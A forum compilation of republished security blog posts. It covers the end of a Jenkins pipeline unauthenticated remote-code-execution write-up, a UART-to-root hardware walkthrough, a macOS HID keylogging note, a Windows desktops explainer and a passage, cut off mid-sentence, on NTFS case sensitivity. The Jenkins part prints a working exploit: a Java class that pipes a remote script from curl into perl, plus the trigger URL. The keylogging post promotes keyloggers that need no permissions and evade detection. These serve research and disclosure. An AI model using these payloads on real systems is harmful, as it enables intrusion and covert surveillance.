0f 1f 44 00 00 nop WORD PTR [rax+rax*1+0x0] ... For more examples, you can refer to the article Build a Compiler Bomb on StackOverflow! First Attempt Back to our exploitation, Pipeline is just a DSL built with Groovy, and Groovy is also a Meta-Programming friendly language. We start reading the Groovy official Meta-Programming manual to find some exploitation ways. In the section 2.1.9, we found the @groovy.transform.ASTTest annotation. Here is its description: @ASTTest is a special AST transformation meant to help debugging other AST transformations or the Groovy compiler itself. It will let the developer “explore” the AST during compilation and perform assertions on the AST rather than on the result of compilation. This means that this AST transformations gives access to the AST before the Bytecode is produced. @ASTTest can be placed on any annotable node and requires two parameters: What! perform assertions on the AST? Isn’t that what we want? Let’s write a simple Proof-of-Concept in local environment first: this.class.classLoader.parseClass(''' @groovy.transform.ASTTest(value={ assert java.lang.Runtime.getRuntime().exec("touch pwned") }) def x '''); $ ls poc.groovy $ groovy poc.groovy $ ls poc.groovy pwned Cool, it works! However, while reproducing this on the remote Jenkins, it shows: unable to resolve class org.jenkinsci.plugins.workflow.libs.Library What the hell!!! What’s wrong with that? With a little bit digging, we found the root cause. This is caused by the Pipeline Shared Groovy Libraries Plugin! In order to reuse functions in Pipeline, Jenkins provides the feature that can import customized library into Pipeline! Jenkins will load this library before every executed Pipeline. As a result, the problem become lack of corresponding library in classPath during compile-time. That’s why the error unsable to resolve class occurs! How to fix this problem? It’s simple! Just go to Jenkins Plugin Manager and remove the Pipeline Shared Groovy Libraries Plugin! It can fix the problem and then we can execute arbitrary code without any error! But, this is not a good solution because this plugin is installed along with the Pipeline. It’s lame to ask administrator to remove the plugin for code execution! We stop digging this and try to find another way! Second Attempt We continue reading the Groovy Meta-Programming manual and found another interesting annotation - @Grab. There is no detailed information about @Grab on the manual. However, we found another article - Dependency management with Grape on search engine! Oh, from the article we know Grape is a built-in JAR dependency management in Groovy! It can help programmers import the library which are not in classPath. The usage looks like: @Grab(group='org.springframework', module='spring-orm', version='3.2.5.RELEASE') import org.springframework.jdbc.core.JdbcTemplate By using @Grab annotation, it can import the JAR file which is not in classPath during compile-time automatically! If you just want to bypass the Pipeline sandbox via a valid credential and the permission of Pipeline execution, that’s enough. You can follow the PoC proveded by @adamyordan to execute arbitrary commands! However, without a valid credential and execute() method, this is just an AST parser and you even can’t control files on remote server. So, what can we do? By diving into more about @Grab, we found another interesting annotation - @GrabResolver: @GrabResolver(name='restlet', root='http://maven.restlet.org/') @Grab(group='org.restlet', module='org.restlet', version='1.1.6') import org.restlet If you are smart enough, you would like to change the root parameter to a malicious website! Let’s try this in local environment: this.class.classLoader.parseClass(''' @GrabResolver(name='restlet', root='http://orange.tw/') @Grab(group='org.restlet', module='org.restlet', version='1.1.6') import org.restlet ''') 11.22.33.44 - - [18/Dec/2018:18:56:54 +0800] "HEAD /org/restlet/org.restlet/1.1.6/org.restlet-1.1.6-javadoc.jar HTTP/1.1" 404 185 "-" "Apache Ivy/2.4.0" Wow, it works! Now, we believe we can make Jenkins import any malicious library by Grape! However, the next problem is, how to get code execution? The Way to Code Execution In the exploitation, the target is always escalating the read primitive or write primitive to code execution! From the previous section, we can write malicious JAR file into remote Jenkins server by Grape. However, the next problem is how to execute code? By diving into Grape implementation on Groovy, we realized the library fetching is done by the class groovy.grape.GrapeIvy! We started to find is there any way we can leverage, and we noticed an interesting method processOtherServices(…)! void processOtherServices(ClassLoader loader, File f) { try { ZipFile zf = new ZipFile(f) ZipEntry serializedCategoryMethods = zf.getEntry("META-INF/services/org.codehaus.groovy.runtime.SerializedCategoryMethods") if (serializedCategoryMethods != null) { processSerializedCategoryMethods(zf.getInputStream(serializedCategoryMethods)) } ZipEntry pluginRunners = zf.getEntry("META-INF/services/org.codehaus.groovy.plugins.Runners") if (pluginRunners != null) { processRunners(zf.getInputStream(pluginRunners), f.getName(), loader) } } catch(ZipException ignore) { // ignore files we can't process, e.g. non-jar/zip artifacts // TODO log a warning } } JAR file is just a subset of ZIP format. In the processOtherServices(…), Grape registers servies if there are some specified entry points. Among them, the Runner interests me. By looking into the implementation of processRunners(…), we found this: void processRunners(InputStream is, String name, ClassLoader loader) { is.text.readLines().each { GroovySystem.RUNNER_REGISTRY[name] = loader.loadClass(it.trim()).newInstance() } } Here we see the newInstance(). Does it mean that we can call Constructor on any class? Yes, so, we can just create a malicious JAR file, and put the class name into the file META-INF/services/org.codehaus.groovy.plugins.Runners and we can invoke the Constructor and execute arbitrary code! Here is the full exploit: public class Orange { public Orange(){ try { String payload = "curl orange.tw/bc.pl | perl -"; String[] cmds = {"/bin/bash", "-c", payload}; java.lang.Runtime.getRuntime().exec(cmds); } catch (Exception e) { } } } $ javac Orange.java $ mkdir -p META-INF/services/ $ echo Orange > META-INF/services/org.codehaus.groovy.plugins.Runners $ find . ./Orange.java ./Orange.class ./META-INF ./META-INF/services ./META-INF/services/org.codehaus.groovy.plugins.Runners $ jar cvf poc-1.jar ./Orange.class /META-INF/ $ cp poc-1.jar ~/www/tw/orange/poc/1/ $ curl -I http://[your_host]/tw/orange/poc/1/poc-1.jar HTTP/1.1 200 OK Date: Sat, 02 Feb 2019 11:10:55 GMT ... PoC: http://jenkins.local/descriptorByName/org.jenkinsci.plugins.workflow.cps.CpsFlowDefinition/checkScriptCompile ?value= @GrabConfig(disableChecksums=true)%0a @GrabResolver(name='orange.tw', root='http://[your_host]/')%0a @Grab(group='tw.orange', module='poc', version='1')%0a import Orange; Video: Epilogue With the exploit, we can gain full access on remote Jenkins server! We use Meta-Programming to import malicious JAR file during compile-time, and executing arbitrary code by the Runner service! Although there is a built-in Groovy Sandbox(Script Security Plugin) on Jenkins to protect the Pipeline, it’s useless because the vulnerability is in compile-time, not in run-time! Because this is an attack vector on Groovy core, all methods related to the Groovy parser are affected! It breaks the developer’s thought which there is no execution so there is no problem. It is also an attack vector that requires the knowledge about computer science. Otherwise, you cannot think of the Meta-Programming! That’s what makes this vulnerability interesting. Aside from entry points doCheckScriptCompile(...) and toJson(...) I reported, after the vulnerability has been fixed, Mikhail Egorov also found another entry point quickly to trigger this vulnerability! Apart from that, this vulnerability can also be chained with my previous exploit on Hacking Jenkins Part 1 to bypass the Overall/Read restriction to a well-deserved pre-auth remote code execution. If you fully understand the article, you know how to chain Thank you for reading this article and hope you like it! Here is the end of Hacking Jenkins series, I will publish more interesting researches in the future Sursa: https://blog.orange.tw/2019/02/abusing-meta-programming-for-unauthenticated-rce.html
-
UART-to-Root: The (Slightly) Harder Way Posted on 02/14/2019 AuthorMike Quick Note: This post assumes some knowledge of UART and U-boot, and touches slightly on eMMC dumping. Many familiar with hardware hacking know that UART can be a quick and easy way to find yourself with a shell on a target device. Often times, especially in older home routers and the like, you’ll be automatically logged in as root or be able to log in with an easily-guessed or default password. In other circumstances, you may need to edit some boot arguments in the bootloader to trigger a shell (such as adding a 1 for single-user mode or adding init=/bin/sh). With this initial shell, you can dump and crack passwords or modify the firmware to grant access without the modified bootargs (change password). Recently, I came head-to-head with a device that had a slightly more complicated boot process with many environment variables setting other environment variables that eventually called a boot script from an eMMC that did more of the same. Some Background My target device was being driven by a cl-som-imx6; an off-the-shelf, bolt-on System on Module from Compulab. My target version of the cl-som-imx6 utilized a 16 gig eMMC for firmware storage that had two partitions: a FAT boot partition (in addition to U-boot on an EEPROM) and an EXT4 Linux filesystem. cl-som-imx6 with eMMC removed My first goal for this device was to get an active shell on the device while it was fully booted. Since I had multiple copies of my target device, I went for a quick win and removed eMMC then dumped it’s contents with the hope of recovering and cracking password hashes. While I was able to get the hashes from /etc/shadow, I was disappointed to see they were hashed with sha512crypt ($6$) and have yet been unable to crack them. Without valid credentials, my next goal was to modify boot args to bypass authentication and drop me directly into a root shell, with the hope of being able to change the password. The classic init=/bin/sh trick. It’s important to note that when modifying the bootargs with init=/bin/sh, the device will not go through its standard boot process, therefore it will not kick off any scripts or applications that would normally fire on boot. So, while you may have a root shell, you will not be interacting with the device in its normal state. It is also temporary and will not persist after reboot. The Problem This is where it started getting a bit tricker. In my experience, U-boot usually has an environment variable called bootargs that passes necessary information to the kernel. In this case, there were several variables that set bootargs under different circumstances. I attempted to modify every instance where bootargs were getting set (to add init=/bin/sh) to no avail. 01 02 03 04 05 06 07 08 09 10 11 12 13 14 15 16 17 # binwalk part1.bin DECIMAL HEXADECIMAL DESCRIPTION -------------------------------------------------------------------------------- 28672 0x7000 Linux kernel ARM boot executable zImage (little-endian) 34516 0x86D4 LZO compressed data 34884 0x8844 LZO compressed data 35489 0x8AA1 device tree image (dtb) 1322131 0x142C93 SHA256 hash constants, little endian 3218379 0x311BCB mcrypt 2.5 encrypted data, algorithm: "5o", keysize: 12292 bytes, mode: "A", 3982809 0x3CC5D9 device tree image (dtb) 4273569 0x4135A1 Unix path: /var/run/L 4932888 0x4B4518 xz compressed data 5359334 0x51C6E6 LZ4 compressed data, legacy 5513216 0x542000 uImage header, header size: 64 bytes, header CRC: 0x665C5745, created: 2018-09-26 16:36:26, image size: 2397 bytes, Data Address: 0x0, Entry Point: 0x0, data CRC: 0x9F621F80, OS: Linux, CPU: ARM, image type: Script file, compression type: none, image name: "boot script" 5517312 0x543000 device tree image (dtb) ... During this time, I also discovered that there appeared to be some sort of watch-dog active that would completely reset the device after about 2 minutes of playing around in U-boot’s menu options. As a note: I don’t believe this was an intended “Security” function but rather an unintended effect caused by the rest of the device (attached to the cl-som-imx6) after it failed to fully boot after X time. After an hour or so reading the UART output during boot and attempting to understand the logic flow of the environment variables, I discovered that U-boot was calling a boot script before it touched any of my edited boot args. Luckily for me, this boot script was being called from the eMMC’s boot partition, which I had dumped previously. Binwalk quickly identified the boot script’s location, but failed to extract it. Using the offset of the script as a starting point and the offset of the following signature as the end point, I used dd to extract the script. As luck would have it, the script was actually a script (plaintext) and not a binary. 1 2 3 4 # dd if=partition1.bin of=boot.script skip=5513216 count=4096 bs=1 4096+0 records in 4096+0 records out 4096 bytes (4.1 kB, 4.0 KiB) copied, 0.0173901 s, 236 kB/s The script was exactly 80 lines and contained several if/else statements, but most importantly, it had only one line setting the bootargs. At this point, my theory was that the only environment variables that mattered were being set by this script. I needed to modify this script to add init=/bin/sh. 01 02 03 04 05 06 07 08 09 10 11 12 13 14 15 16 # cat boot.script setenv loadaddr 0x10800000 setenv fdt_high 0xffffffff setenv fdt_addr 0x15000000 setenv bootm_low 0x15000000 setenv kernel_file zImage setenv vmalloc vmalloc=256M setenv cma cma=384M setenv dmfc dmfc=3 setenv console ttymxc3,115200 setenv env_addr 0x10500000 setenv env_file boot.env setenv ext_env ext_env=empty ... setenv setup_args 'setenv bootargs console=${console} root=${rootdev} rootfstype=ext4 rw rootwait ${ext}' ... The next hurdle was that I didn’t have a direct way of modifying the contents of the eMMC without removing it and that’s the easy part. Getting it back on the SOM would have been tougher work than I was willing to tackle at the time. The Solution Without a simple way to modify the boot script, I decided to try to manually copy and paste each line of the script into the U-boot menu shell and, if necessary, remove all other environment variables. I ran into two problems with this approach. First, any line over 34 characters that I tried to paste got truncated to 34. This was likely just caused by the ft232h buffer or something else with the serial connection. Second, and more annoying, was the watch-dog reset. There was simply no way I was going to paste in 80 lines (especially as many would require multiple c/p’s due to the 34 char limit). Even after removing as much as possible My only answer was to automate the process. I had previously been playing around with the idea of bruteforcing simple 4 digit security codes, so I already had the outline of a script ready. I modified the script to read lines from an input file and write them to the serial device, where any line over 32 (to be safe) characters would be chucked up. To ensure data was sent at the correct time, I put made sure the script waited for the shell prompt to return before sending the next line, with an additional .5 second sleep for good measure. Also, since the script would take over my ft232h, I needed to make sure it stopped autoboot at the correct time to enter the U-Boot shell. This approach worked perfectly and I was dropped into a /bin/sh shell as root. I then took control of my ft232h again so I could interact manually. With a quick passwd, I changed the root password and rebooted. As the modified environment variables didn’t persist through reboot, the device booted as normal and presented me with a login prompt. I entered my newly set password and I was in. Serial and script output ending in shell Changing password I’d post a screenshot of the final successful login after full boot, but I’d have to redact too much stuff that it doesn’t make any sense. As a note: So I could keep an eye on everything, I used a second ft232h to watch the target’s TX pin and since it echoed everything back, I could also see my script’s input. Also, the watch-dog was still in effect since the device didn’t boot as it should have, therefore I had to be quick on the passwd. The Script Below is the script exactly as I used it. With a touch of modification to the until1 and until2 vars, it should be useable for other targets. 01 02 03 04 05 06 07 08 09 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 #!/usr/bin/env python # By Mike Kelly # exfil.co # @lixmk import serial import sys import argparse import re from time import sleep # Key words until1 = "Hit any key to stop autoboot:" until2 = "SOM-iMX6 #" # Read from device until prompt identifier # Not using resp in this, but you can def read_until(until): resp = "" while until not in resp: resp += dev.read(1) return resp def serialprint(): # Get to U-Boot Shell read_until(until1) dev.write("\n") # Wait for U-Boot Prompt read_until(until2) sleep(.5) dev.write("\n") with open(infile) as f: lines = f.readlines() for line in lines: # Lines < 32 if len(line) < 32: read_until(until2) sleep(.5) print "Short Line: "+line.rstrip("\n") dev.write(line) # Break up longer lines else: read_until(until2) sleep(.5) for chunk in re.findall('.{1,32}', line): print "Long Line: "+chunk.rstrip("\n") dev.write(chunk) sleep(.5) dev.write("\n") print "" print "Done... Got root?" exit() if __name__ == '__main__': # Argument parsing parser = argparse.ArgumentParser(usage='./setenv.py -d /dev/ttyUSB0 -b 115200 -f infile.txt') parser.add_argument('-d', '--device', required=True, help='Serial Device path ie: /dev/ttyUSB0') parser.add_argument('-b', '--baud', required=True, type=int, help='Serial Baud rate') parser.add_argument('-f', '--infile', type=str, help="Input file") args = parser.parse_args() device = args.device baud = args.baud infile = args.infile # Configuring device dev = serial.Serial(device, baud, timeout=5) # Executing serialprint() Sursa: https://exfil.co/2019/02/14/uart-to-root-the-harder-way/
-
Saturday, February 16, 2019 macOS - keylogging through HID device interface Just for fun I started to dig into how could I write a piece of software to detect rubber ducky style attacks on macOS. While I was reading through the IOKit API, and digging into the various functions and how everything works, I came across an API call, called IOHIDManagerRegisterInputValueCallback, which sounded very interesting although wasn’t related to what I was looking for. At first read it sounded that you can monitor USB device input. My first trials with the enumeration showed that the built in keyboard on a MacBook Pro is also connecting through the USB / IOHID interface. That made think if I could log keystrokes via this API call. At this point I got totally distracted from my original goal, but I will get back to that later Looking up the function on Apple’s website confirmed my suspicion, it says: IOHIDManagerRegisterInputValueCallback Registers a callback to be used when an input value is issued by any enumerated device. Nice! Since I’m still a complete n00b to either Swift and Objective-C I tried to lookup on Google if someone wrote a key logger such this, and basically I found a good code here: macos - How to tap/hook keyboard events in OSX and record which keyboard fires each event - Stack Overflow This is very well written and you can use it as is, although it doesn’t resolve scan code to actual keys. The mapping is available in one of the header files: MacOSX-SDKs/IOHIDUsageTables.h at master · phracker/MacOSX-SDKs · GitHub With this I extended the code to use this mapping, and also write output to a file, and it works pretty nicely. I uploaded it here: https://github.com/theevilbit/macos/tree/master/USBKeyLog Then a googled a bit more, and came across this code, which is very-very nice, and does it way-way better then my: GitHub - SkrewEverything/Swift-Keylogger: Keylogger for mac written in Swift using HID Hacking: Keylogger for macOS. *No permissions needed to run* The benefit of this method over the one that uses CGEventTap (common used in malware) is: you don’t need root privileges runs even on Mojave without asking for Accessibility permissions not (yet??) detected by ReiKey The CGEventTap method is very deeply covered in Patrick Wardle's excellent videos Patrick Wardle - YouTube and the code is available in his GitHub repo GitHub - objective-see/sniffMK: sniff mouse and keyboard events Posted by Csaba Fitzl at 11:10 PM Sursa: https://theevilbit.blogspot.com/2019/02/macos-keylogging-through-hid-device.html
-
Windows 10 Desktops vs. Sysinternals Desktops One of the new Windows 10 features visible to users is the support for additional “Desktops”. It’s now possible to create additional surfaces on which windows can be used. This idea is not new – it has been around in the Linux world for many years (e.g. KDE, Gnome), where users have 4 virtual desktops they can use. The idea is that to prevent clutter, one desktop can be used for web browsing, for example, and another desktop can be used for all dev work, and yet a third desktop could be used for all social / work apps (outlook, WhatsApp, Facebook, whatever). To create an additional virtual desktop on Windows 10, click on the Task View button on the task bar, and then click the “New Desktop” button marked with a plus sign. Now you can switch between desktops by clicking the appropriate desktop button and then launch apps as usual. It’s even possible (by clicking Task View again) to move windows from desktop to desktop, or to request that a window be visible on all desktops. The Sysinternals tools had a tool called “Desktops” for many years now. It too allows for creation of up to 4 desktops where applications can be launched. The question is – is this Desktops tool the same as the Windows 10 virtual desktops feature? Not quite. First, some background information. In the kernel object hierarchy under a session object, there are window stations, desktops and other objects. Here’s a diagram summarizing this tree-like relationship: As can be seen in the diagram, a session contains a set of Window Stations. One window station can be interactive, meaning it can receive user input, and is always called winsta0. If there are other window stations, they are non-interactive. Each window station contains a set of desktops. Each of these desktops can hold windows. So at any given moment, an interactive user can interact with a single desktop under winsta0. Upon logging in, a desktop called “Default” is created and this is where all the normal windows appear. If you click Ctrl+Alt+Del for example, you’ll be transferred to another desktop, called “Winlogon”, that was created by the winlogon process. That’s why your normal windows “disappear” – you have been switched to another desktop where different windows may exist. This switching is done by a documented function – SwitchDesktop. And here lies the difference between the Windows 10 virtual desktops and the Sysinternals desktops tool. The desktops tool actually creates desktop objects using the CreateDesktop API. In that desktop, it launches Explorer.exe so that a taskbar is created on that desktop – initially the desktop has nothing on it. How can desktops launch a process that by default creates windows in a different desktop? This is possible to do with the normal CreateProcess function by specifying the desktop name in the STARTUPINFO structure’s lpDesktop member. The format is “windowstation\desktop”. So in the desktops tool case, that’s something like “winsta0\Sysinternals Desktop 1”. How do I know the name of the Sysinternals desktop objects? Desktops can be enumerated with the EnumDesktops API. I’ve written a small tool, that enumerates window stations and desktops in the current session. Here’s a sample output when one additional desktop has been created with “desktops”: In the Windows 10 virtual desktops feature, no new desktops are ever created. Win32k.sys just manipulates the visibility of windows and that’s it. Can you guess why? Why doesn’t Window 10 use the CreateDesktop/SwitchDesktop APIs for its virtual desktop feature? The reason has to do with some limitations that exist on desktop objects. For one, a window (technically a thread) that is bound to a desktop cannot be switched to another; in other words, there is no way to transfer a windows from one desktop to another. This is intentional, because desktops provide some protection. For example, hooks set with SetWindowsHookEx can only be set on the current desktop, so cannot affect other windows in other desktops. The Winlogon desktop, as another example, has a strict security descriptor that prevents non system-level users from accessing that desktop. Otherwise, that desktop could have been tampered with. The virtual desktops in Windows 10 is not intended for security purposes, but for flexibility and convenience (security always “contradicts” convenience). That’s why it’s possible to move windows between desktops, because there is no real “moving” going on at all. From the kernel’s perspective, everything is still on the same “Default” desktop. Sursa: https://scorpiosoftware.net/2019/02/17/windows-10-desktops-vs-sysinternals-desktops/
-
Sunday, 17 February 2019 NTFS Case Sensitivity on Windows Back in February 2018 Microsoft released on interesting blog post (link) which introduced per-directory case-sensitive NTFS support. MS have been working on making support for WSL more robust and interop between the Linux and Windows side of things started off a bit rocky. Of special concern was the different semantics between traditional Unix-like file systems and Windows NTFS. I always keep an eye out for new Windows features which might have security implications and per-directory case sensitivity certainly caught my attention. With 1903 not too far off I thought it was time I actual did a short blog post about per-directory case-sensitivity and mull over some of the security implications. While I'm at it why not go on a whistle-stop tour of case sensitivity in Windows NT over the years. Disclaimer. I don't currently and have never previously worked for Microsoft so much of what I'm going to discuss is informed speculation. The Early Years The Windows NT operating system has had the ability to have case-sensitive files since the very first version. This is because of the OS's well known, but little used, POSIX subsystem. If you look at the documentation for CreateFile you'll notice a flag, FILE_FLAG_POSIX_SEMANTICS which is used for the following purposes: "Access will occur according to POSIX rules. This includes allowing multiple files with names, differing only in case, for file systems that support that naming." It's make sense therefore that all you'd need to do to get a case-sensitive file system is use this flag exclusively. Of course being an optional flag it's unlikely that the majority of Windows software will use it correctly. You might wonder what the flag is actually doing, as CreateFile is not a system call. If we dig into the code inside KERNEL32 we'll find the following: BOOL CreateFileInternal(LPCWSTR lpFileName, ..., DWORD dwFlagsAndAttributes) { // ... OBJECT_ATTRIBUTES ObjectAttributes; if (dwFlagsAndAttributes & FILE_FLAG_POSIX_SEMANTICS){ ObjectAttributes.Attributes = 0; } else { ObjectAttributes.Attributes = OBJ_CASE_INSENSITIVE; } NtCreateFile(..., &ObjectAttributes, ...); } This code shows that if the FILE_FLAG_POSIX_SEMANTICS flag is set, the the Attributes member of the OBJECT_ATTRIBUTES structure passed to NtCreateFile is initialized to 0. Otherwise it's initialized with the flag OBJ_CASE_INSENSITIVE. The OBJ_CASE_INSENSITIVE instructs the Object Manager to do a case-insensitive lookup for a named kernel object. However files do not directly get parsed by the Object Manager, so the IO manager converts this flag to the IO_STACK_LOCATION flag SL_CASE_SENSITIVE before handing it off to the file system driver in an IRP_MJ_CREATE IRP. The file system driver can then honour that flag or not, in the case of NTFS it honours it and performs a case-sensitive file search instead of the default case-insensitive search. Aside. Specifying FILE_FLAG_POSIX_SEMANTICS supports one other additional feature of CreateFile that I can see. By specifying FILE_FLAG_BACKUP_SEMANTICS, FILE_FLAG_POSIX_SEMANTICS and FILE_ATTRIBUTE_DIRECTORY in the dwFlagsAndAttributes parameter and CREATE_NEW as the dwCreationDisposition parameter the API will create a new directory and return a handle to it. This would normally require calling CreateDirectory, then a second call to open or using the native NtCreateFile system call. NTFS always supported case-preserving operations, so creating the file AbC.txt will leave the case intact. However when it does an initial check to make sure the file doesn't already exist if you request abc.TXT then NTFS would find it during a case-insensitive search. If the create is done case-sensitive then NTFS won't find the file and you can now create the second file. This allows NTFS to support full case-sensitivity. It seems too simple to create files in a case-sensitive manner, just use the FILE_FLAG_POSIX_SEMANTICS flag or don't pass OBJ_CASE_INSENSITIVE to NtCreateFile. Let's try that using PowerShell on a default installation on Windows 10 1809 to see if that's really the case. First we create a file with the name AbC.txt, as NTFS is case preserving this will be the name assigned to it in the file system. We then open the file first with the OBJ_CASE_INSENSITIVE attribute flag set and specifying the name all in lowercase. As expected we open the file and displaying the name shows the case-preserved form. Next we do the same operation without the OBJ_CASE_INSENSITIVE flag, however unexpectedly it still works. It seems the kernel is just ignoring the missing flag and doing the open case-insensitive. It turns out this is by design, as case-insensitive operation is defined as opt-in no one would ever correctly set the flag and the whole edifice of the Windows subsystem would probably quickly fall apart. Therefore honouring enabling support for case-sensitive operation is behind a Session Manager Kernel Registry value, ObCaseInsensitive. This registry value is reflected in the global kernel variable, ObpCaseInsensitive which is set to TRUE by default. There's only one place this variable is used, ObpLookupObjectName, which looks like the following: NTSTATUS ObpLookupObjectName(POBJECT_ATTRIBUTES ObjectAttributes, ...) { // ... DWORD Attributes = ObjectAttributes->Attributes; if (ObpCaseInsensitive) { Attributes |= OBJ_CASE_INSENSITIVE; } // Continue lookup. } From this code we can see if ObpCaseInsensitive set to TRUE then regardless of the Attribute flags passed to the lookup operation OBJ_CASE_INSENSITIVE is always set. What this means is no matter what you do you can't perform a case-sensitive lookup operation on a default install of Windows. Of course if you installed the POSIX subsystem you'll typically find the kernel variable set to FALSE which would enable case-sensitive operation for everyone, at least if they forget to set the flags. Let's try the same test again with PowerShell but make sure ObpCaseInsensitive is FALSE to see if we now get the expected operation. With the OBJ_CASE_INSENSITIVE flag set we can still open the file AbC.txt with the lower case name. However without specifying the flag we we get STATUS_OBJECT_NAME_NOT_FOUND which indicates the lookup operation failed. Windows Subsystem for Linux Let's fast forward to the introduction of WSL in Windows 10 1607. WSL needed some way of representing a typical case-sensitive Linux file system. In theory the developers could have implemented it on top of a case-insensitive file system but that'd likely introduce too many compatibility issues. However just disabling ObCaseInsensitive globally would likely introduce their own set of compatibility issues on the Windows side. A compromise was needed to support case-sensitive files on an existing volume. Aside. It could be argued that Unix-like operating systems (including Linux) don't have a case-sensitive file system at all, but a case-blind file system. Most Unix-like file systems just treat file names on disk as strings of opaque bytes, either the file name matches a sequence of bytes or it doesn't. The file system doesn't really care whether any particular byte is a lower or upper case character. This of course leads to interesting problems such as where two file names which look identical to a user can have different byte representations resulting in unexpected failures to open files. Some file systems such macOS's HFS+ use Unicode Normalization Forms to make file names have a canonical byte representation to make this easier but leads to massive additional complexity, and was infamously removed in the successor APFS. UPDATE: It's been pointed out that Apple actually reversed the APFS change in iOS 11/macOS 10.13. This compromise can be found back in ObpLookupObjectName as shown below: NTSTATUS ObpLookupObjectName(POBJECT_ATTRIBUTES ObjectAttributes, ...) { // ... DWORD Attributes = ObjectAttributes->Attributes; if (ObpCaseInsensitive && KeGetCurrentThread()->CrossThreadFlags.ExplicitCaseSensitivity == FALSE) { Attributes |= OBJ_CASE_INSENSITIVE; } // Continue lookup. } In the code we now find that the existing check for ObpCaseInsensitive is augmented with an additional check on the current thread's CrossThreadFlags for the ExplicitCaseSensitivity bit flag. Only if the flag is not set will case-insensitive lookup be forced. This looks like a quick hack to get case-sensitive files without having to change the global behavior. We can find the code which sets this flag in NtSetInformationThread. NTSTATUS NtSetInformationThread(HANDLE ThreadHandle, THREADINFOCLASS ThreadInformationClass, PVOID ThreadInformation, ULONG ThreadInformationLength) { switch(ThreadInformationClass) { case ThreadExplicitCaseSensitivity: if (ThreadInformationLength != sizeof(DWORD)) return STATUS_INFO_LENGTH_MISMATCH; DWORD value = *((DWORD*)ThreadInformation); if (value) { if (!SeSinglePrivilegeCheck(SeDebugPrivilege, PreviousMode)) return STATUS_PRIVILEGE_NOT_HELD; if (!RtlTestProtectedAccess(Process, 0x51) ) return STATUS_ACCESS_DENIED; } if (value) Thread->CrossThreadFlags.ExplicitCaseSensitivity = TRUE; else Thread->CrossThreadFlags.ExplicitCaseSensitivity = FALSE; break; } // ... } Notice in the code to set the the ExplicitCaseSensitivity flag we need to have both SeDebugPrivilege and be a protected process at level 0x51 which is PPL at Windows signing level. This code is from Windows 10 1809, I'm not sure it was this restrictive previously. However for the purposes of WSL it doesn't matter as all processes are gated by a system service and kernel driver so these checks can be easily bypassed. As any new thread for a WSL process must go via the Pico process driver this flag could be automatically set and everything would just work. Per-Directory Case-Sensitivity A per-thread opt-out from case-insensitivity solved the immediate problem, allowing WSL to create case-sensitive files on an existing volume, but it didn't help Windows applications inter-operating with files created by WSL. I'm guessing NTFS makes no guarantees on what file will get opened if performing a case-insensitive lookup when there's multiple files with the same name but with different case. A Windows application could easily get into difficultly trying to open a file and always getting the wrong one. Further work was clearly needed, so introduced in 1803 was the topic at the start of this blog, Per-Directory Case Sensitivity. The NTFS driver already handled the case-sensitive lookup operation, therefore why not move the responsibility to enable case sensitive operation to NTFS? There's plenty of spare capacity for a simple bit flag. The blog post I reference at the start suggests using the fsutil command to set case-sensitivity, however of course I want to know how it's done under the hood so I put fsutil from a Windows Insider build into IDA to find out what it was doing. Fortunately changing case-sensitivity is now documented. You pass the FILE_CASE_SENSITIVE_INFORMATION structure with the FILE_CS_FLAG_CASE_SENSITIVE_DIR set via NtSetInformationFile to a directory. with the FileCaseSensitiveInformation information class. We can see the implementation for this in the NTFS driver. NTSTATUS NtfsSetCaseSensitiveInfo(PIRP Irp, PNTFS_FILE_OBJECT FileObject) { if (FileObject->Type != FILE_DIRECTORY) { return STATUS_INVALID_PARAMETER; } NSTATUS status = NtfsCaseSensitiveInfoAccessCheck(Irp, FileObject); if (NT_ERROR(status)) return status; PFILE_CASE_SENSITIVE_INFORMATION info = (PFILE_CASE_SENSITIVE_INFORMATION)Irp->AssociatedIrp.SystemBuffer; if (info->Flags & FILE_CS_FLAG_CASE_SENSITIVE_DIR) { if ((g_NtfsEnableDirCaseSensitivity & 1) == 0) return STATUS_NOT_SUPPORTED; if ((g_NtfsEnableDirCaseSensitivity & 2) && !NtfsIsFileDeleteable(FileObject)) { return STATUS_DIRECTORY_NOT_EMPTY; } FileObject->Flags |= 0x400; } else { if (NtfsDoesDirHaveCaseDifferingNames(FileObject)) { return STATUS_CASE_DIFFERING_NAMES_IN_DIR; } FileObject->Flags &= ~0x400; } return STATUS_SUCCESS; } There's a bit to unpack here. Firstly you can only apply this to a directory, which makes some sense based on the description of the feature. You also need to pass an access check with the call NtfsCaseSensitiveInfoAccessCheck. We'll skip over that for a second. Next we go into the actual setting or unsetting of the flag. Support for Per-Directory Case-Sensitivity is not enabled unless bit 0 is set in the global g_NtfsEnableDirCaseSensitivity variable. This value is loaded from the value NtfsEnableDirCaseSensitivity in HKLM\SYSTEM\CurrentControlSet\Control\FileSystem, the value is set to 0 by default. This means that this feature is not available on a fresh install of Windows 10, almost certainly this value is set when WSL is installed, but I've also found it on the Microsoft app-development VM which I don't believe has WSL installed, so you might find it enabled in unexpected places. The g_NtfsEnableDirCaseSensitivity variable can also have bit 1 set, which indicates that the directory must be empty before changing the case-sensitivity flag (checked with NtfsIsFileDeleteable) however I've not seen that enabled. If those checks pass then the flag 0x400 is set in the NTFS file object. If the flag is being unset the only check made is whether the directory contains any existing colliding file names. This seems to have been added recently as when I originally tested this feature in an Insider Preview you could disable the flag with conflicting filenames which isn't necessarily sensible behavior. Going back to the access check, the code for NtfsCaseSensitiveInfoAccessCheck looks like the following: NTSTATUS NtfsCaseSensitiveInfoAccessCheck(PIRP Irp, PNTFS_FILE_OBJECT FileObject) { if (NtfsEffectiveMode(Irp) || FileObject->Access & FILE_WRITE_ATTRIBUTES) { PSECURITY_DESCRIPTOR SecurityDescriptor; SECURITY_SUBJECT_CONTEXT SubjectContext; SeCaptureSubjectContext(&SubjectContext); NtfsLoadSecurityDescriptor(FileObject, &SecurityDescriptor); if (SeAccessCheck(SecurityDescriptor, &SubjectContext FILE_ADD_FILE | FILE_ADD_SUBDIRECTORY | FILE_DELETE_CHILD)) { return STATUS_SUCCESS; } } return STATUS_ACCESS_DENIED; } The first check ensures the file handle is opened with FILE_WRITE_ATTRIBUTES access, however that isn't sufficient to enable the flag. The check also ensures that if an access check is performed on the directory's security descriptor that the caller would be granted FILE_ADD_FILE, FILE_ADD_SUBDIRECTORY and FILE_DELETE_CHILD access rights. Presumably this secondary check is to prevent situations where a file handle was shared to another process with less privileges but with FILE_WRITE_ATTRIBUTES 